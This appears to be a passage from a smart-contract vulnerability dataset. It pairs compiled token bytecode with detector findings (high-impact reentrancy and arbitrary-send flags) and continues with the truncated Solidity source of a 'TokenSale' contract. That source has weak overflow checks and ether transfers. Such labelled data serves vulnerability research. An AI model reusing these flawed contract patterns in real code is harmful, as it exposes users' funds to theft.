060405180910390f35b3480156105f257600080fd5b506106356004803603602081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c3565b6040518082815260200191505060405180910390f35b34801561065757600080fd5b5061066061120c565b6040518082815260200191505060405180910390f35b34801561068257600080fd5b5061068b611241565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c357600080fd5b506106cc61126a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070c5780820151818401526020810190506106f1565b50505050905090810190601f1680156107395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561075357600080fd5b506107b66004803603604081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a7565b005b3480156107c457600080fd5b506107cd6113a8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080557600080fd5b506108526004803603604081101561081c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ce565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b506108c36004803603604081101561088d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113e3565b60405180821515815260200191505060405180910390f35b3480156108e757600080fd5b5061092a600480360360208110156108fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611514565b005b34801561093857600080fd5b506109416115e9565b005b34801561094f57600080fd5b506109586116ad565b6040518082815260200191505060405180910390f35b34801561097a57600080fd5b506109836116b3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109bb57600080fd5b506109fc600480360360608110156109d257600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506116d9565b005b348015610a0a57600080fd5b50610a136117a1565b005b348015610a2157600080fd5b50610a8460048036036040811015610a3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611826565b6040518082815260200191505060405180910390f35b348015610aa657600080fd5b50610adf60048036036040811015610abd57600080fd5b81019080803515159060200190929190803590602001909291905050506118ad565b005b348015610aed57600080fd5b50610af6611961565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2e57600080fd5b50610b7160048036036020811015610b4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611987565b005b348015610b7f57600080fd5b50610bc260048036036020811015610b9657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5d565b005b348015610bd057600080fd5b50610bd9611bbf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1157600080fd5b50610c5460048036036020811015610c2857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be5565b60405180821515815260200191505060405180910390f35b60175481565b60606040518060400160405280600381526020017f4b454b0000000000000000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f9757610f16826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fa2848484611cfb565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60006110176123cc565b905090565b6000611048827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610caf565b9050919050565b60155481565b61105e33611be5565b6110d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110d86123fa565b565b6110e333610fab565b611155576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000436003601454011115611238576112316001600f5461295090919063ffffffff16565b905061123e565b600e5490505b90565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4b454b0000000000000000000000000000000000000000000000000000000000815250905090565b6112b033610fab565b611322576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113db338484611cfb565b905092915050565b60006113ee33611be5565b611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114d157600080fd5b505af11580156114e5573d6000803e3d6000fd5b505050506040513d60208110156114fb57600080fd5b8101908080519060200190929190505050905092915050565b61151d33610fab565b61158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6115f233610fab565b611664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156116aa573d6000803e3d6000fd5b50565b60145481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116e233611be5565b611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600c8190555081600d81905550611775828461299a90919063ffffffff16565b600e8190555080600f819055506005600f548161178e57fe5b04600e541061179c57600080fd5b505050565b6117aa33611be5565b61181c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b611824612a22565b565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6118b633610fab565b611928576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601660006101000a81548160ff02191690831515021790555061195781600354612f8490919063ffffffff16565b6017819055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61199033610fab565b611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611a6633610fab565b611ad8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611ce8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cad578082015181840152602081019050611c92565b50505050905090810190601f168015611cda5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000601860009054906101000a900460ff1615611d2457611d1d848484612fce565b90506123c5565b611d2c6131a1565b15611d6457603c601554014210158015611d4857506000600654145b15611d5a57611d55612a22565b611d63565b611d626123fa565b5b5b611d6c613278565b158015611dc65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611e20576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611e1757600080fd5b611e1f613285565b5b611ea9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef46123cc565b8015611f4e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fa45760055482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611fa357600080fd5b5b611fac6123cc565b80156120065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561205357506014600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540142105b156122055742600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ee82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60006040518082815260200191505060405180910390a33073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506123c5565b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122c1576122a5856132a7565b6122af57826122ba565b6122b985846132fe565b5b90506122c5565b8290505b61231781600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600080601454141580156123e4575043600360145401105b80156123f557504260786015540110155b905090565b6001601860006101000a81548160ff02191690831515021790555060006124556002612447600e54612439600c5460175461358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b9050600061246e8260175461295090919063ffffffff16565b90506000600267ffffffffffffffff8111801561248a57600080fd5b506040519080825280602002602001820160405280156124b95781602001602082028036833780820191505090505b50905030816000815181106124ca57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061253457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561263b578082015181840152602081019050612620565b505050509050019650505050505050600060405180830381600087803b15801561266457600080fd5b505af1158015612678573d6000803e3d6000fd5b505050506000612691824761295090919063ffffffff16565b905060006126bf6126ae6002600c54612f8490919063ffffffff16565b600e5461295090919063ffffffff16565b905060006126fd60026126ef846126e1600c548861358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b905060006127288361271a600d548761358e90919063ffffffff16565b612f8490919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612792573d6000803e3d6000fd5b50600088111561292b57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561288c57600080fd5b505af11580156128a0573d6000803e3d6000fd5b50505050506040513d60608110156128b757600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b600061299283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3b565b905092915050565b600080828401905083811015612a18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6001601860006101000a81548160ff0219169083151502179055506000612a836002612a75600e54612a67600c54612a59306111c3565b61358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b90506000612aa282612a94306111c3565b61295090919063ffffffff16565b90506000600267ffffffffffffffff81118015612abe57600080fd5b50604051908082528060200260200182016040528015612aed5781602001602082028036833780820191505090505b5090503081600081518110612afe57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612b6857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c6f578082015181840152602081019050612c54565b505050509050019650505050505050600060405180830381600087803b158015612c9857600080fd5b505af1158015612cac573d6000803e3d6000fd5b505050506000612cc5824761295090919063ffffffff16565b90506000612cf3612ce26002600c54612f8490919063ffffffff16565b600e5461295090919063ffffffff16565b90506000612d316002612d2384612d15600c548861358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b90506000612d5c83612d4e600d548761358e90919063ffffffff16565b612f8490919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612dc6573d6000803e3d6000fd5b506000881115612f5f57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015612ec057600080fd5b505af1158015612ed4573d6000803e3d6000fd5b50505050506040513d6060811015612eeb57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b6000612fc683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613614565b905092915050565b6000613059826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ee82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561320e5750601860009054906101000a900460ff16155b80156132265750601660009054906101000a900460ff165b80156132735750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000806014541415905090565b61328d613278565b1561329757600080fd5b4360148190555042601581905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806133096123cc565b8015613316575060045483115b15613447576133306004548461295090919063ffffffff16565b905061338481600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361343f818461295090919063ffffffff16565b915050613588565b613475600f5461346761345861120c565b8661358e90919063ffffffff16565b612f8490919063ffffffff16565b90506134c981600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613584818461295090919063ffffffff16565b9150505b92915050565b6000808314156135a1576000905061360e565b60008284029050828482816135b257fe5b0414613609576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136db6021913960400191505060405180910390fd5b809150505b92915050565b600080831182906136c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561368557808201518184015260208101905061366a565b50505050905090810190601f1680156136b25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816136cc57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d36a5fb64e36bfe2ce4861f051b830fbb8cc18e842676e59207ff6f45b4d1b2f64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,602 |
0x2cc187c6c6a9fe10d88692b7dbe77f4fe406567c | pragma solidity 0.4.26;
pragma experimental ABIEncoderV2;
contract TokenSale {
uint256 fee = 0.01 ether;
uint256 symbolNameIndex;
uint256 historyIndex;
//it will divide on 1000
uint256 siteShareRatio = 1;
address manager;
enum State {Waiting , Selling , Ended , Checkedout}
mapping (uint256 => uint) tokenBalanceForAddress;
mapping (address => uint256) refAccount;
mapping (address => mapping(uint256 => uint)) balanceEthForAddress;
mapping (uint256 => Token) tokens;
struct Token {
address tokenContract;
address owner;
string symbolName;
string symbol;
string link;
uint256 amount;
uint256 leftover;
uint256 priceInWie;
uint256 deadline;
uint decimals;
State state;
uint256 referral;
}
mapping (uint256 => History) histories;
struct History{
address owner;
string title;
uint256 amount;
uint256 decimals;
uint256 time;
string symbol;
}
event TokenAdded(address erc20TokenAddress);
event TokenDeposited(address erc20TokenAddress , uint256 amount);
event DexCheckouted(address erc20TokenAddress , uint256 amount);
event RefCheckouted(address ownerAddress , uint256 amount);
event TokenBuyed(address erc20TokenAddress , uint256 amount , address buyer);
function TokenSale() public{
manager = msg.sender;
}
///////////////////////
// TOKEN MANAGEMENT //
//////////////////////
function addToken(address erc20TokenAddress , string symbolName , string symbol , string link , uint256 priceInWie , uint decimals , uint256 referral) public payable {
require(!hasToken(erc20TokenAddress) , 'Token Is Already Added');
require(msg.value == fee , 'Add Token Fee Is Invalid');
require(referral >= 0 && referral <= 100);
manager.transfer(msg.value);
symbolNameIndex++;
tokens[symbolNameIndex].symbolName = symbolName;
tokens[symbolNameIndex].tokenContract = erc20TokenAddress;
tokens[symbolNameIndex].symbol = symbol;
tokens[symbolNameIndex].link = link;
tokens[symbolNameIndex].amount = 0;
tokens[symbolNameIndex].deadline = now;
tokens[symbolNameIndex].leftover = 0;
tokens[symbolNameIndex].state = State.Waiting;
tokens[symbolNameIndex].priceInWie = priceInWie;
tokens[symbolNameIndex].decimals = decimals;
tokens[symbolNameIndex].referral = referral;
tokens[symbolNameIndex].owner = msg.sender;
setHistory(msg.sender , fee , 'Fee For Add Token' , 'ETH' , 18);
setHistory(manager , fee , '(Manager) Fee For Add Token' , 'ETH' , 18);
TokenAdded(erc20TokenAddress);
}
function hasToken(address erc20TokenAddress) public constant returns (bool) {
uint256 index = getSymbolIndexByAddress(erc20TokenAddress);
if (index == 0) {
return false;
}
return true;
}
function getSymbolIndexByAddress(address erc20TokenAddress) internal returns (uint256) {
for (uint256 i = 1; i <= symbolNameIndex; i++) {
if (tokens[i].tokenContract == erc20TokenAddress) {
return i;
}
}
return 0;
}
function getSymbolIndexByAddressOrThrow(address erc20TokenAddress) returns (uint256) {
uint256 index = getSymbolIndexByAddress(erc20TokenAddress);
require(index > 0);
return index;
}
function getAllDex() public view returns(address[] memory , string[] memory , uint256[] memory , uint[] memory , uint256[] memory , string[] memory){
address[] memory tokenAdderss = new address[](symbolNameIndex+1);
string[] memory tokenName = new string[](symbolNameIndex+1);
string[] memory tokenLink = new string[](symbolNameIndex+1);
uint256[] memory tokenPrice = new uint256[](symbolNameIndex+1);
uint[] memory decimal = new uint256[](symbolNameIndex+1);
uint256[] memory leftover = new uint256[](symbolNameIndex+1);
for (uint256 i = 0; i <= symbolNameIndex; i++) {
if(checkDeadLine(tokens[i]) && tokens[i].leftover != 0){
tokenAdderss[i] = tokens[i].tokenContract;
tokenName[i] = tokens[i].symbol;
tokenLink[i] = tokens[i].link;
tokenPrice[i] = tokens[i].priceInWie;
decimal[i] = tokens[i].decimals;
leftover[i] = tokens[i].leftover;
}
}
return (tokenAdderss , tokenName , tokenPrice , decimal , leftover , tokenLink);
}
////////////////////////////////
// DEPOSIT / WITHDRAWAL TOKEN //
////////////////////////////////
function depositToken(address erc20TokenAddress, uint256 amountTokens , uint256 deadline) public payable {
uint256 symbolNameIndex = getSymbolIndexByAddressOrThrow(erc20TokenAddress);
require(tokens[symbolNameIndex].tokenContract != address(0) , 'Token is Invalid');
require(tokens[symbolNameIndex].state == State.Waiting , 'Token Cannot be deposited');
require(tokens[symbolNameIndex].owner == msg.sender , 'You are not owner of this coin');
ERC20Interface token = ERC20Interface(tokens[symbolNameIndex].tokenContract);
require(token.transferFrom(msg.sender, address(this), amountTokens) == true);
tokens[symbolNameIndex].amount = amountTokens;
tokens[symbolNameIndex].leftover = amountTokens;
require(tokenBalanceForAddress[symbolNameIndex] + amountTokens >= tokenBalanceForAddress[symbolNameIndex]);
tokenBalanceForAddress[symbolNameIndex] += amountTokens;
tokens[symbolNameIndex].state = State.Selling;
tokens[symbolNameIndex].deadline = deadline;
Token tokenRes = tokens[symbolNameIndex];
setHistory(msg.sender , amountTokens , 'Deposit Token' , tokenRes.symbol , tokenRes.decimals);
TokenDeposited(erc20TokenAddress , amountTokens);
}
function checkoutDex(address erc20TokenAddress) public payable {
uint256 symbolNameIndex = getSymbolIndexByAddressOrThrow(erc20TokenAddress);
ERC20Interface token = ERC20Interface(tokens[symbolNameIndex].tokenContract);
uint256 _amountTokens = tokens[symbolNameIndex].leftover;
require(tokens[symbolNameIndex].tokenContract != address(0), 'Token is Invalid');
require(tokens[symbolNameIndex].owner == msg.sender , 'You are not owner of this coin');
require(!checkDeadLine(tokens[symbolNameIndex]) || tokens[symbolNameIndex].leftover == 0 , 'Token Cannot be withdrawn');
require(tokenBalanceForAddress[symbolNameIndex] - _amountTokens >= 0 , "overflow error");
require(tokenBalanceForAddress[symbolNameIndex] - _amountTokens <= tokenBalanceForAddress[symbolNameIndex] , "Insufficient amount of token");
tokenBalanceForAddress[symbolNameIndex] -= _amountTokens;
tokens[symbolNameIndex].leftover = 0;
tokens[symbolNameIndex].state = State.Checkedout;
if(_amountTokens > 0){
require(token.transfer(msg.sender, _amountTokens) == true , "transfer failed");
setHistory(msg.sender , _amountTokens , 'Check Out Token' , tokens[symbolNameIndex].symbol , tokens[symbolNameIndex].decimals);
}
uint256 _siteShare = balanceEthForAddress[msg.sender][symbolNameIndex] * siteShareRatio / 1000;
uint256 _ownerShare = balanceEthForAddress[msg.sender][symbolNameIndex] - _siteShare;
setHistory(msg.sender , _ownerShare , 'Check Out ETH' , 'ETH' , 18 );
setHistory(manager , _siteShare , '(Manager) Site Share For Deposite Token' , 'ETH' , 18);
msg.sender.transfer(_ownerShare);
DexCheckouted(erc20TokenAddress , _ownerShare);
}
function getBalance(address erc20TokenAddress) public constant returns (uint256) {
uint256 symbolNameIndex = getSymbolIndexByAddressOrThrow(erc20TokenAddress);
return tokenBalanceForAddress[symbolNameIndex];
}
function checkoutRef(uint256 amount) public payable {
amount = amount;
require(refAccount[msg.sender] >= amount , 'Insufficient amount of ETH');
refAccount[msg.sender] -= amount;
setHistory(msg.sender , amount , 'Check Out Referral' , 'ETH' , 18 );
msg.sender.transfer(amount);
RefCheckouted(msg.sender , amount);
}
function getRefBalance(address _ownerAddress) view returns(uint256){
return refAccount[_ownerAddress];
}
///////////////
// Buy Token //
///////////////
function buyToken(address erc20TokenAddress , address refAddress , uint256 _amount) payable returns(bool){
uint256 symbolNameIndex = getSymbolIndexByAddressOrThrow(erc20TokenAddress);
Token token = tokens[symbolNameIndex];
require(token.state == State.Selling , 'You Can not Buy This Token');
require((_amount * token.priceInWie) / (10 ** token.decimals) == msg.value , "Incorrect Eth Amount");
